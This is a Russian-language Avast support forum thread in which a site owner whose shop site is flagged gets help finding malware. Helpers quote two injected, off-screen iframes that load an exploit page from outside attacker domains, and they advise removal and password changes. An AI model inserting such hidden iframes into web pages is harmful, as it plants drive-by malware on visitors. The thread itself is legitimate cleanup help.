антивирус блокирует сайт хотя сайт чистый

Помогите разобраться, сайт проверен сто раз на вирусы, не найдено ничего подозрительного. Нет баннеров, нет рекламы, нет внешних ссылок. Посетители сайта жалуются, что аваст блокирует мой сайт. Скрин прилагаю. Сайт giftseshop.com.

Проверила на http://sitecheck.sucuri.net

status: Verified Clean
web trust: Not Blacklisted
*Cached results from the last 24 hrs.

Security report (No threats found):
check Blacklisted: No
check Malware: No
check Malicious javascript: No
check Malicious iFrames: No
check Drive-By Downloads: No
check Anomaly detection: No
check IE-only attacks: No
check Suspicious redirections: No
check Spam: No

Здравствуйте Lana12345 и добро пожаловать на форум!

Для плодотворной совместной работы с участниками форума рекомендуем ознакомиться с темой Информация о форуме.
Также рекомендуем ознакомиться с темой ОТЧЁТЫ ПРИ БЛОКИРОВКЕ ДОСТУПА К ВАШЕМУ САЙТУ.

В прикрепленном Вами скриншоте адрес блокируемого сайта не полный. Зайдите снова на сайт и при появлении сообщения avast! о блокировании, нажмите кнопку “ПОДРОБНЕЕ…>>>”. Вы будете перенаправлены на сайт avast!, адрес этого сайта приведите в своем следующем сообщении.

Не стесняйтесь задавать вопросы, если Вам что-то непонятно. Желаем удачи!

К сожалению ничего больше показать не могу.
Мой Аваст на моем компе не блокирует. Я показала сайт на форуме где давно всех знаю и доверяю и мне МАССОВО написали что сайт блокируется как перенаправляющий куда то. Не поверить невозможно, очень много людей мне об этом сказали.
Не могли бы вы дать идею почему это может быть? Вирус не обнаружила.

Lana12345
Блокирует сетевой экран аваста, вероятно сайт по какой то причине попал в черный список. Отправьте запрос в тех. поддержку [b]http://www.avast.ru/contact-form.php[/b] Тема: сообщить о ложной вирусной тревоге на веб сайте, если сайт действительно чист его разблокируют.

Lana12345, сам сайт у меня не блокируется, ругается на этот iframe у Вас на сайте:

<iframe src="http://swtcommfickner.biz:7761/nwshp/itunes.php?desktop=1" width="100" height="100" style="width:100px;height:100px;position:absolute;left:-10000px;top:0;"></iframe>

Сейчас уже на сайте нет этого iframe и аваст молчит

Andrey,pro- Спасибище! Уберу этот код для верности.
Ligalizovan- Спасибо за подсказку!

сам сайт у меня не блокируется, ругается на этот iframe у Вас на сайте: Code: [Select]

Сейчас уже на сайте нет этого iframe и аваст молчит
« Last Edit: Today at 05:44:51 PM by Andrey,pro »


Вот и пользователи говорят, что раз ругается, раз молчит.

Lana12345
Пожалуйста, удалите цитату из Вашего сообщения. В ней присутствует адрес, на который реагирует Аваст. В сообщении Andrey,pro он спрятан в тег CODE и поэтому безвреден для случайного нажатия, а у Вас в цитате он “свободен” и опасен.

ок, сделано

Lana12345, на сайте снова вредоносный iframe:

<iframe src="http://ratingbasedblackboards.biz:7761/specials/demos/mysql-admin/itunes.php?desktop=1" width="100" height="100" style="width:100px;height:100px;position:absolute;left:-10000px;top:0;"></iframe>

Удалите этот код и смените пароли на админку и ftp.

Andrey,pro, я удалила вообще весь код iframe, посмотрите пожалуйста еще раз. Спасибо за помощь!

По-прежнему на сайте имеется вредоносный iframe.

Спасибо! Вот это да! Даже не соображу где он прячется ведь, iframe уже весь стерла, в какой то замаскированной форме чтоли… Пойду искать.

iframe больше обнаружить не удалось, я вообще его весь удалила и хороший и плохой. Нашла лишний decode, чистила всю ночь. Скачала код на комп, просканировала Авастом-ничего не находит. Посмотрите, пожалуйста, еще раз?
Кстати, интересно что меняю пароль на ftp, но открывается он только на старый пароль.

Сейчас при заходе на сайт никаких предупреждений от антивируса нет, сайт чист.

Andrey,pro- спасибо за помощь!

Хотя аваст не сообщает о вирусах на Вашем сайте, avg видит на сайте 3 угрозы: http://www.avgthreatlabs.com/website-safety-reports/domain/giftseshop.com/#analytics
(внедрение невидимого iframe, Blackhole Exploit kit, эксплойт), причем последняя вирусная активность зафиксирована сегодня.

Сходила по этой ссылке, честно сказать, мне показалось что они определяют вирус погадав на кофейной гуще, а точнее исходя из теории вероятности заражения на основе цифр мировой зараженности… Iframe он или есть или его нет, а если верить их графикам, вирус день активничает, потом неделю “отдыхает”. Не вызвало доверия также что они обещают дать пораженные урл, если зарегестрируешься, зарегестрировалась, поставила их мета таг-ничего нового не показали, никаких урл не дали, только показывают графики мировой зараженности:) Вообщем конкретной помощи от них-0,0
Причем два вируса в которых меня подозревают вроде на компах живут , а не сайтах. Комп тоже весь проверила просканировала еще пару раз, раз авастом и второй раз утилитой, говорят комп чист.
Вопрос: если вирус все таки есть, существует способ определить точное местанахождение на сайте?

Личные сообщения можно отправлять? Зарегистрировался. Вам не разрешается доступ в этот раздел. Есть описание правил отправки личных сообщений для этого форума?

3421
Здравствуйте и добро пожаловать на форум!

Для плодотворной работы рекомендуем ознакомиться с темой Информация о форуме.

Для прямой загрузки продуктов AVAST Software, для связи с сервисами компании и для ознакомления с документацией на продукты компании рекомендуем ознакомиться с темой avast! ссылки: продукты, утилиты, сервисы и документация.

Для подготовки отчётов (логов), необходимых для лечения Вашего компьютера от заражений, рекомендуем ознакомиться с темой Логи для помощи в очистке компьютера от заражений:

Для воспрепятствования спамерам новички на сайте не имеют права изменять свой профиль, добавлять аватары и пользоваться системой личных сообщений пока не оставят на форуме более 20 значимых сообщений (пустой трёп и оффтоп в счёт не идёт и удаляется). Так зачем Вам личные сообщения?

Не стесняйтесь задавать вопросы, если Вам что-то непонятно. Желаем удачи!